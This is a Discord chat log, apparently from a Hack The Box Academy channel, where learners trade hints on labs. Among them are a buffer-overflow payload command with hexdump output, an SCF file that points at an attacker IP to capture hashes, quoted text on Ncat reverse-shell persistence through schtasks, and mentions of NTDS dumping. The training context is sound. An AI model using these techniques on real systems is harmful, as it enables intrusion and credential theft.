Hello guys, any hints for Skill Assessments - Advanced SQLi, I stuck at get 2nd flag to the RCE. I did use $$ to bypass single-quote, and compile the exact version postgres. But somehow does not work = =!

heady laurel
#

Found the creds directly after enumerating

#

When i initially RDPed

fathom pendant
#

well yes but that initial user doesn't have sufficient permissions Sad_Squidward_Pepe so gotta do even more enumerating

#

enumeration is an iterative process

#

if user cannot access files, find someone who can :)

heady laurel
fathom pendant
#

well the flag is hiding in a database

#

that much i'll give you

heady laurel
#

My bad, meant what would lead me too it

#

I’ve already completed it

fathom pendant
#

Β―_(ツ)_/Β―

#

it's fairly straightforward

heady laurel
#

And i’m ralking about it here because i knew something was wrong. I looked up the real solution opposed to my hack; it was one of the first things i tried

fathom pendant
#

Β―_(ツ)_/Β―

heady laurel
#

So i don’t know if i should send a ticket to support

#

Or leave it

fathom pendant
#

if you're unsure to send a support ticket do this:
spawn a fresh lab, repeat all your steps
repeat the official steps (assuming you mean the annual walkthrough)
if you can repeat steps and it works, then it was just that instance that was bugged

#

if you can repeat steps, and it doesn't work it's more likely to lean on the side of an HTB issue

#

there was a bug after a maintenance period (unsure if it's still lingering) where some modules that have internal networking components (like AD Enum & attacks) weren't spawning properly on US, but were on EU (by US i mean ALL of the US servers at the time)

#

it really affected the password attacks -- PtT from linux section because it was giving an invalid Time/date stamp

#

(Unix 0 time)

heady laurel
#

I’ll try it again in a bit, but it hasn’t been all that good here in EU i’d say either, i mentioned earlier that a box would take upwards of 15 minutes to spawn for me

fathom pendant
#

change vpn regions then

#

Β―_(ツ)_/Β―

heady laurel
#

You don’t think i tried bro πŸ˜‚

fathom pendant
#

kek come to US

#

but yeah

#

there's rarely target issues

#

and it's more often user error

#

bc i've run into a few instances of "i swear i tried that"

#

only to go ↑↑↑ and see it nowhere in my command history

heady laurel
#

I’ll try it again, but how hard could fucking up with remmina be… literally fill in 2 fields and you’re done

fathom pendant
#

remmina is dumb sometimes

#

i get its simplicity is appealing with GUI

#

but meh

heady laurel
#

And i tried all combinations and accounts there were lmfao, lowercase, uppercase, first dudes password, other found password on all local accounts

fathom pendant
fathom pendant
#

that's on every system kek

#

it could also have been a slight spelling mistake

heady laurel
#

The first, because that’s the only other account, i tried to be ambigious πŸ˜‚πŸ˜‚πŸ˜‚

fathom pendant
#

inlanefright
inlanfreight
inlanefreght...

#

it's surprisingly easy to typo

heady laurel
#

So you must understand why i’m confused asf coming here, because i knew that how i did it couldn’t be rightt

#

I’m going to try the original solution

#

And i’ll report back if it was just me who fatfingered something

topaz plinth
#

having trouble with this question can someone help?
What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?

fathom pendant
#

it also, again, helps if you're ssh into the target machine that's spawned

#

most config files are either .cfg,.conf, or .config

#

usually .conf is a safe bet though

young flume
#

hey team, (module Intro to C2 Operations with Sliver) i have a arm64 and i am having a problem downloading a donut https://github.com/TheWover/donut is there anyone who downloaded it to arm64 linux

topaz plinth
fathom pendant
#

also the pwnbox is not the target

#

if you're referring to the little window with "spawn instance"

fathom pendant
#

also you don't need to do --user root

#

take note that the find command recursively searches through all directories from the base one you give it; so if it's trying to access a protected directory (aka not your user/root) then it's gonna display those errors

spice ivy
#

can someone provide any hint for CPTS exam ?

fathom pendant
#

2> is the bash redirect of file descriptor 2 (stderr) to another file (/dev/null)

fathom pendant
spice ivy
#

thanks

fathom pendant
#

you literally agreed to doing the exam on your own when you started it

#

the only place you can find answers to move forward is on the exam environment itself and looking back through modules for a method that may be relevant to where you're stuck

vague tundra
#

getting rickrolled in a htb module πŸ’€

dim wolf
#

"Suppose we wanted to through spaghetti at a wall"

fathom pendant
#

i swear i encountered that in one of the modules i've recently done

vague tundra
fathom pendant
#

imo

#

all the methods there are really fuckin dumb (in the sense that, they just work like that)

vague tundra
#

yeah I haven't taken any notes on idor yet it feels pretty basic

fathom pendant
solar grove
#

run $(python3 -c "print('\x55' * (1040-4-150-100) + '\x90' * 100 + '\x44' * 150 + '\x66' * 4)")
Hello, I'm stuck on this part. Buffer overflow in the linux room. The total area is 1040 bytes and accordingly I allocate 150 bytes for shell code 100 bytes for NOPs and 4 bytes for EIP and I initialize the gdby accordingly, but the eip value falls to 0x444444444444 address, why should it fall to 0x66666666. Academy does the same but his is correct and mine is wrong.

#

*0x44444444

fathom pendant
#

addresses won't always line up

heady laurel
#

I’ll send a support ticket later, tried it again and it din’t work

solar grove
#

The address does not need to be the same, I am setting the offset here.

dim wolf
lapis void
#

could someone lend me a quick hand, I'm currently on the easy Footprinting lab and I am trying to "get id_rsa" for the ssh key, but I am getting a permission denied error

autumn pilot
#

check if you have write permissions in the directory you are trying to save the file

lapis void
#

I didn't even know that was a thing that could block me. Thank you!

#

is there ever a way to designate the directory you want to copy the file to from the ftp server?

fathom pendant
heady laurel
# dim wolf that sucks, hopefully they can fix it soon

I’m just relieved that i possibly couldn’t be that stupid πŸ˜‚ Man i literally ping sweeped & scanned & tried to enumerate 5 different servers, found a wordpress site, and i don’t know what more until i decided fk it and brought out my toolkit i always have with me in ctfs

fathom pendant
#

as calc said you really shouldn't have found anything else besides what was expected on the server

heady laurel
fathom pendant
#

(xfreerdp)

heady laurel
#

When i come back home i’ll try with a different VPN

fathom pendant
#

remmina works as well

#

just to be sure you were trying the : ad* account yes?

#

but yeah the creds i discovered after the initial enumeration via a credentialed account work just fine for the intended user

heady laurel
#

Sent you a DM

#

Oh and forgot

#

I dumped the NTDS files too πŸ˜‚

fathom pendant
#

yeah dumping NTDS is way out of scope for this module

solar grove
#

instead run $(python3 -c β€œprint(β€˜\x55’ * (1040-4-150-100) + β€˜\x90’ * 50 + β€˜\x44’ * 150 + β€˜\x66’ * 4)”) But 786+50+150+150+4 = 990, 50 missing in between. I'm about to go crazy right now, help me

marsh echo
fathom pendant
#

Ah yeah you gotta do the test notification

bright coral
# solar grove instead run $(python3 -c β€œprint(β€˜\x55’ * (1040-4-150-100) + β€˜\x90’ * 50 + β€˜\x44’...

The problem is python3. When printing "\x90" you'll end up with "\xc2\x90" instead.

python3 -c "print('\x55' * (1040-4-150-100) + '\x90' * 50 + '\x44' * 150 + '\x66' * 4)" | hexdump -C
00000000  55 55 55 55 55 55 55 55  55 55 55 55 55 55 55 55  |UUUUUUUUUUUUUUUU|
*
00000310  55 55 c2 90 c2 90 c2 90  c2 90 c2 90 c2 90 c2 90  |UU..............|
00000320  c2 90 c2 90 c2 90 c2 90  c2 90 c2 90 c2 90 c2 90  |................|
*
00000370  c2 90 c2 90 c2 90 44 44  44 44 44 44 44 44 44 44  |......DDDDDDDDDD|
00000380  44 44 44 44 44 44 44 44  44 44 44 44 44 44 44 44  |DDDDDDDDDDDDDDDD|
*
00000400  44 44 44 44 44 44 44 44  44 44 44 44 66 66 66 66  |DDDDDDDDDDDDffff|
00000410  0a                                                |.|
00000411

Either use pwntools to generate the payload or use something like this

python3 -c "import sys; sys.stdout.buffer.write(b'\x55' * (1040-4-150-100) + b'\x90' * 50 + b'\x44' * 150 + b'\x66' * 4)" | hexdump -C
00000000  55 55 55 55 55 55 55 55  55 55 55 55 55 55 55 55  |UUUUUUUUUUUUUUUU|
*
00000310  55 55 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |UU..............|
00000320  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
*
00000340  90 90 90 90 44 44 44 44  44 44 44 44 44 44 44 44  |....DDDDDDDDDDDD|
00000350  44 44 44 44 44 44 44 44  44 44 44 44 44 44 44 44  |DDDDDDDDDDDDDDDD|
*
000003d0  44 44 44 44 44 44 44 44  44 44 66 66 66 66        |DDDDDDDDDDffff|
000003de
fathom pendant
bright coral
fathom pendant
#

yeah just tested it

#

interesting

solar grove
#

I don't fully understand what you said, I'm new to binary exploitation. Can you tell me what to write to gdb @bright coral

#

Will the problem be solved if I use python2?

#

as python2 didn't work either πŸ˜„
run $(python -c "import sys; sys.stdout.write('\x55' * (1040 - 100 - 150 - 4) + '\x90' * 100 + '\x44' * 150 + '\x66' * 4)")

fathom pendant
#

and in most distros has officially been dropped from repos

bright coral
# solar grove Will the problem be solved if I use python2?

This is not mix-and-match πŸ˜‰
Either you use python2.7 and "print('\x55' * (1040-4-150-100) + '\x90' * 50 + '\x44' * 150 + '\x66' * 4)"
or
Python3 and "import sys; sys.stdout.buffer.write(b'\x55' * (1040-4-150-100) + b'\x90' * 50 + b'\x44' * 150 + b'\x66' * 4)" (there are bs missing as prefix for \x55 in the version you used)

fathom pendant
#

this module was written way before then

#

or at least the framework may have been

solar grove
#

I don't understand a word you're saying. What am I supposed to do? @bright coral

fathom pendant
#

dude

#

he's giving you the explicit python3 command

#

also in most cases python is just symlinked to python3

#

Β―_(ツ)_/Β―

solar grove
#

(gdb) run $(python3 -c "import sys; sys.stdout.buffer.write(b'\x55' * (1040 - 100 - 150 - 4) + b'\x90' * 100 + b'\x44' * 150 + b'\x66' * 4)")
0x66666666 in ?? ()
It worked thank you very much. I tired you a little 😦 @bright coral @fathom pendant

fathom pendant
#

i used to work helpdesk

#

the amount of stupid i've endured far outweighs your fair question

grand loom
#

okay i need help Windows Privilege Escalation [Interacting with Users] we have to do some srf

#

i am lost as i dont understand the module information

#

In this example, let's create the following file and name it something like @Inventory.scf (similar to another file in the directory, so it does not appear out of place). We put an @ at the start of the file name to appear at the top of the directory to ensure it is seen and executed by Windows Explorer as soon as the user accesses the share. Here we put in our tun0 IP address and any fake share name and .ico file name.
Interacting with Users

[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop
#

is the shell and commands inside the file?

velvet scarab
#

Hy how are you

#

Ahlan chat hack in coin

fathom pendant
#

kek get muted idiot

velvet scarab
#

682548

fathom pendant
#

?

#

You good m8? Do we need to get you an ambulance?

grand loom
#

i did it finally and whats my mistake? put .srf when it should be .scf

robust quartz
plucky hollow
#

Hi

#

sorry new with fluff this response means nothing gathered or the results are saved in other side?

dapper moth
#

Has anyone had problems with the Introduction to Windows Evasion Techniques module!?
For some reason in the Static Analysis section, even after raving a successfully tested Reverse Shell binary in the DEV host, the automation script didn't create a flag, even after confirming it wasn't detected in the logs.
Now the same in the Dynamic Analysis. Executed the same steps as in the Section, tested on DEV, got a callback, the file does not get picked by Defender as it states in the log file, but it just times out after it being executed
(cannot confirm it's executed due to low level permissions and cannot debug the automation script)

ocean night
#

@golden horizon please do not post spoilers / answers to modules / sections over Tier 0 here.

dapper moth
#

Even recorded a screen capture

ocean night
#

Instead, ask a question that someone can respond to you either in DM or here without providing a spoiler in turn

fathom pendant
fathom pendant
# plucky hollow ??

ffuf likes to constantly show new lines with progress if your terminal isn't full screen for whatever reason

plucky hollow
fathom pendant
#

yeah

plucky hollow
#

ok ty master

fathom pendant
#

don't

sour hemlock
#

Hey for this question ==> Attack the Splunk target and gain remote code execution. Submit the contents of the flag.txt file in the c:\loot directory.
i didn't get reverse shell

#

how to resolve it?

fathom pendant
#

it also helps if you provide the module and section name

#

also make sure your job names are labeled properly before compressing it back into the zip

#

i.e. run.ps1; not rev.ps1

#

the only reason I know what module you're talking about is bc i only just did this the other day

sour hemlock
#

i got it thanks for ur support!!!!

marsh echo
#

guys for this website https://dehashed.com/api mentionned at this section https://academy.hackthebox.com/module/113/section/1214 do you have to pay? into on section he don't pay api or rather it uses no api

fathom pendant
#

The example output can be useful though

marsh echo
#

okok thx πŸ˜…

solar grove
#

run $(python3 -c "import sys; sys.stdout.buffer.write(b'\x55' * (1040 - 256 - 4) + b'\x01\x02\x03\x04\x05\x06\x07....SNIP....\xfa\xfb\xfc\xfd\xfe\xff' + b'\x66' * 4)")

x/2000xb $esp+500
When I examine the bad characters I see that they all exist, I wonder where I am going wrong

#

@bright coral Dude, are you here?

fathom pendant
#

Well if that's lifted from the example

solar grove
#

No, I shortened my own code so that it doesn't take up the page.

fathom pendant
#

πŸ‘

solar grove
#

run $(python -c 'print "\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
This example in the module is already not working, I need to edit it, but when I edit it, I could not detect any bad characters.

zealous rune
#

Hi I'm struggling on the skills assessment for the pivot module. I've managed to use the foothold webshell to upload ligolong and find a target (target1) behind the foothold. Then I found two more targets behind target1. So setup a double pivot using ligolong to those targets and that all works fine.

I'm stuck on getting a shell on the two targets behind target1

#

I have the credentials I found on the foothold which I used to login to target1

#

I also found another user and I rhink a network share

#

I tried reusing creds for the 2 targets behind target1

#

Thought I'd ask here b4 moving in to exploit searching

fathom pendant
#

There's only one target accessible per hop

#

Make sure you aren't being silly and accidentally looking at that same host's ip kek

#

There's no need for exploit searching from what I recall

zealous rune
#

Ok thx

#

Definitely two targets behind the second hop

#

I did find a host with rdp service behind second host. And tried various credentials.... that's as far as I got

fathom pendant
#

So you got q3?

#

And q2 ofc

zealous rune
#

i got q1, 2, 3, 4 and 5

#

5 was a bit of a guess. I didn't actually validate what the user was vulnerable to

fathom pendant
#

You get 5 (and his password) from a dump

#

Lsass is your friend, if you're stuck

zealous rune
#

thank u πŸ™‚

real tapir
fathom pendant
#

The last 2 questions will be achievable from that last point

zealous rune
#

got it

fathom pendant
#

Aka the next host you hop to is the end of the road

zealous rune
#

thanks, perhaps i should have took a step back and thought about all the things i've learnt

#

thanks for the hint, i think i should be able to get therrr now πŸ™‚

fathom pendant
#

:) btw you won't have to crack any passwords

#

It will be in plain text

zealous rune
#

awesome..!!

vague fossil
#

thank you for this, I spent about an hour on this question alone

shut wraith
#

Sessions Module

CSRF Session ID stealing

Serving HTTP on 0.0.0.0 port 5555 (http://0.0.0.0:5555/) ...
10.10.14.251 - - [20/Aug/2024 21:40:59] "GET /csrf.html HTTP/1.1" 200 -
10.10.14.251 - - [20/Aug/2024 21:41:51] "GET /csrf.html HTTP/1.1" 304 -
10.10.14.251 - - [20/Aug/2024 21:42:39] "GET /csrf.html HTTP/1.1" 304 -
10.10.14.251 - - [20/Aug/2024 21:48:22] "GET /csrf0.html HTTP/1.1" 200 -
10.10.14.251 - - [20/Aug/2024 21:57:22] "GET /csrf.html HTTP/1.1" 304 -
10.10.14.251 - - [20/Aug/2024 21:57:46] "GET /csrf0.html HTTP/1.1" 304 -
10.10.14.251 - - [20/Aug/2024 21:59:08] "GET /csrf0.html HTTP/1.1" 304 -
10.10.14.251 - - [20/Aug/2024 21:59:35] "GET /csrf.html HTTP/1.1" 304 -
10.10.14.251 - - [20/Aug/2024 22:02:32] "GET /csrf0.html HTTP/1.1" 304 -

Why is there 304 status codes? And even when there is a 200 status code and the CSRF is successfully requested, it still doesnt change my profile details. Whats wrong with this?

vale halo
#

Hey. I’m having trouble with finding the flag through mongo. The shell returns nothing when I use β€œdb.flag.find().pretty()

fathom pendant
#

And what section

vale halo
fathom pendant
#

I figured

swift carbon
#

was anyone able to get Rogue Potato working on Module Windows Privilege Escalation -> SeImpersonate and SeAssignPrimaryToken . No matter what I try I keep getting Connection refused or Connection Reset on my socat listener

swift carbon
# limber river I used printspoofer

yeah same i got that one to work. was just trying to practice all 3 techniques but i'm starting to think that maybe Rogue Potato isn't possible. wanted to see if someone was able to get it to work at all

limber river
swift carbon
#

okay yeah i didn't try using the non-default clsid so i'll try that next. thanks

vale halo
#

Let’s see. What module was I on

fathom pendant
#

Yeah I've heard the hardest part about boiling the potatoes is the right clsid

fathom pendant
#

There's some logic

obsidian hound
#

hi

fathom pendant
#

Based on os version

#

But beyond that you dive deeper into specific build versions

obsidian hound
#

Recursively fuzz the "recursive_fuzz" path on the target system (ie http://IP:PORT/recursive_fuzz/) to find the flag. I can't get the answer

fathom pendant
fathom pendant
#

Don't use the recursion limit

obsidian hound
fathom pendant
#

Reset the target

#

Also make sure you use the right list, iirc the medium list is whats shown

limber river
#

I didn't solve the lab , but maybe you should dig deeper more depth

fathom pendant
limber river
obsidian hound
#

is the command i am using now but i have no results

fathom pendant
#

You could also be overloading the server with threads

#

Drop to 100

#

Also as an FYI you don't need to do :FUZZ after your wordlist, it's assumed

#

Only when you use multiple wordlists do you need to specify

obsidian hound
swift carbon
#

so i dunno. the module doesn't really talk about how to enumerate CLSIDs so i think it might be out of scope for CPTS which is what I care about.

limber river
swift carbon
#

if anyone else go through chat history 5 years from now and can get Rogue Potato to work on the Windows Privilege Escalation -> SeImpersonate and SeAssignPrimaryToken module exercise feel free to DM me about whatever it is that I'm not understanding 🀣

pliant coyote
#

Why kubernetes has no exercises

#

Without practice I feel like an idiot.

robust quartz
#

Especially in "-p" flags

#

I used volatility3

robust quartz
fathom pendant
#

Well the -p is the pid no?

robust quartz
#

The valid one is --pid

fathom pendant
#

Ah

#

Maybe a version difference then

#

Β―_(ツ)_/Β―

prime portal
#

Hi in the Documentation & Reporting Practice Lab. Should I be able to scan the subnet 172.16.5.0/24? I ran a masscan of all ports in that subnet and get 0 results. I've restarted the box am I missing something?

fathom pendant
prime portal
#

I scanned from the Parrot Box

fathom pendant
#

?

#

You mean the spawned target?

prime portal
#

yes

fathom pendant
#

The 10.129.x.x machine

prime portal
#

yes

fathom pendant
#

If you do ip a that should be it's ip, alongside another ip that would allow you to see the internal network

#

If you see a public ip and 10.10.x.x that's not the target

#

(Covering my bases here)

prime portal
#

I see 172.16.5.225/23 along side the target ip

fathom pendant
#

πŸ‘

#

Reach out to support ig

#

Alternatively try scanning 172.16.5.0/23

prime portal
#

is there a support channel or do I @ something?

fathom pendant
compact patrolBOT
robust quartz
plucky hollow
#

A doubt about this command ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v This command will execute for the temporary variable FUZZ the commands from the specified wordlist, both as they are and with the added .php?(because the -e .php) So, will two lists be iterated?

plucky hollow
fathom pendant
#

Also generally don't limit recursion unless you absolutely have to

#

Technically they're run in parallel bc threads.

plucky hollow
#

thank you

civic hamlet
#

A great example of a use for schtasks would be providing us with a callback every time the host boots up. This would ensure that if our shell dies, we will get a callback from the host the next time a reboot occurs, making it likely that we will only lose access to the host for a short time if something happens or the host is shut down. We can create or modify a new task by adding a new trigger and action. In our task above, we have schtasks execute Ncat locally, which we placed in the user's AppData directory, and connect to the host `172.16.1.100` on port `8100`. If successfully executed, this connection request should connect to our command and control framework (Metasploit, Empire, etc.) and give us shell access.

Introduction to windows command line, Working with scheduled tasks

fathom pendant
#

Can you not

civic hamlet
#

Im just curious, so the attacker used a scheduled task (on startup) to use a program local to the target (Ncat), to connect to the attacker

fathom pendant
#

I'm not an on-call support

civic hamlet
#

you arent? FeelsBadMan

fathom pendant
#

No

civic hamlet
fathom pendant
#
  1. I'm not paid to
  2. if I was it's nearly 1 am
civic hamlet
#

apologies

noble lake
#

if anyone still having issues with this, i thoughut there was 2 RDP tools on kali so googled "xfreerdp vs"... didn't get the results I expected BUT as I'm going through the Active Directory Enumeration & Attacks module atm I recall a tool called Remmina. Downloaded it, tried it and worked almost immediately so worth a try

fathom pendant
#

(Sidenote I'm not paid at all kek I don't work for htb, I just volunteer my time)

civic hamlet
#

ill do the same once i have some more knowledge under my belt

#

thanks for all the help thus far

fathom pendant
#

All you need to do is press enter

#

As I have told people ad nauseum

#

It's a failure to draw the corporate/enterprise AUP screen

#

Don't know why it happens, it does

fathom pendant
#

A script is run on startup that sends the connection to the attacker

civic hamlet
#

thats really awesome

noble lake
# fathom pendant As I have told people ad nauseum

when searching 'rdp black screen' there's three answers, none of yours and I just tried again. I had to hit enter over 5 times but yes got there in the end but sure, I apologise for trying to have input and be part of the community. I'll got back to my corner and shut my mouth now I suppose

fathom pendant
#

But xfreerdp does have this known thing to happen.

fathom pendant
novel lynx
#

I am BIG stuck on this module Passwd, Shadow & Opasswd. I ssh with Will and password, but he doesn't have sudo privileges, so i can't cp the shadow file so i can unshadow them, i need a hint.

fathom pendant
#

But for future people the rdp xfreerdp blackscreen issue is simply solved by pressing enter. It's a failure to draw the AUP enterprise screen that you have to click ok on to go to the login/desktop. If clicking enter doesn't work, the enter button is roughly left-center on the lower third of the screen

fathom pendant
#

The backups were stored somewhere will can see

novel lynx
#

the backups of the shadow file?

fathom pendant
#

Yes

#

:)

#

Idk if there's anything to be gained from his history I don't think I checked when I did this

novel lynx
#

interesting, i guess i will hunt the file system, hopefully it stands out to me

fathom pendant
#

Don't forget to list all

novel lynx
#

Wow, I would have never found this without a hint. Thank you

fathom pendant
#

Remember sometimes there may be hidden files the -a arg in ls shows all files

novel lynx
#

I almost gave up and went to bed, only to find at the last second that i got the answer and did not realize it was saved to the file i designated. Hashcat did not tell me that i cracked the password, but i had the answer in the file

#

i am so relieved

sly adder
#

Got stuck in linux privilege escalation in the logrotate task. Does anyone have a hint or something?

ocean night
sly adder
#

Is it possible to send me in chat?

solid moth
#

Set-DomainUserPassword : The term 'Set-DomainUserPassword' is not recognized as the name of a cmdlet, function, script
file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct
and try again
can someon tell me why this errer prompts? i am using powerview.ps1 to change a password

fathom pendant
#

nvm i'm thinking set-ADAccountPassword apparently

#

but my question still remains did you import powerview.ps1?

solid moth
#

i did

tidal grove
#

Hello, how are you? I hope you are all well. My name is Amjad from Egypt, and I wanted to enter and excel in the field of cybersecurity. I have a background in the subject, but I want to learn properly. I want to learn correctly. I do not want to take courses from which I will not benefit anything. I want to I discover my first loophole and start in the field of cybersecurity and excel like the people who excel every day on the Hackerwan website and the rest of the sites. Do you understand what I mean? I want someone with knowledge and knowledge to guide me to the right path, no matter how long it takes. The important topic is to learn correctly. Thank you. For everyone who will answer me how to learn cybersecurity in a correct and systematic manner

compact patrolBOT
burnt grail
#

does anyone have a problem with kerbrute output? when i use it to enum users, it generates an empty text file, even though it has found users

uncut ocean
#

i want to ask one question in Password Attacks - Pass the Ticket (PtT) from Linux here is the question Use the LINUX01$ Kerberos ticket to read the flag found in \\DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_).

#

Here i get the NTLM hash of the LNUX01$

#

but its not working can anyone give me a little hint?

ocean night
#

Someone may come to give you a nudge, but please avoid posting content that may contain spoilers or information that could be used to spoil the exercise πŸ™‚ Thanks

uncut ocean
#

Sorry my bad !

ocean night
#

No worries πŸ™‚

hoary gull
uncut ocean
hoary gull
#

which wordlist did you use ?

uncut ocean
#

as i just buid other vm so seclist is not there

hoary gull
#

it should work :(, you can send me the command in dm if you want

uncut ocean
#

sure

hoary gull
#

ohhh wait

#

no i know why, think dumber ! do you really need to crack the hash ?

uncut ocean
#

i dont think but i am not getting any idea

hoary gull
#

what did you use to get the hash in the first place

uncut ocean
hoary gull
#

try to find another ticket !

#

there's keytab, but there's also c...

uncut ocean
#

/etc/krb5.conf

hoary gull
#

what's another type of file that can also be used as a ticket ?

hoary gull
#

yeah, but there's also c .. ?

#

if you're not sure, try to reread the content ! you should find your answer there !

uncut ocean
#

crontab

hoary gull
#

not exaclty, crontab can't be used as a ticket

#

it can help you get a ticket on specific condition, but can't be used as

uncut ocean
#

no i mean in crontab there is a script

#

and i am now reading the script

hoary gull
#

yess i know, but it can't be used as a ticket

#

you have another file in the system that can be used as a ticket

#

you have keytab, .kt file, and also another!

#

once you found out which file type it is, just try to search for it with a find command, and it should be obvious !

real delta
real delta
#

you're not supposed to crack it

uncut ocean
real delta
#

if you're using kali, all the kerberos stuff should be preinstalled

uncut ocean
real delta
#

google pass the ticket and scan the target for ports you can use to get a shell

uncut ocean
real delta
#

" Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_)." You're connecting to a domain controller I believe, no?

real delta
#

linux does not have native kerberos authentication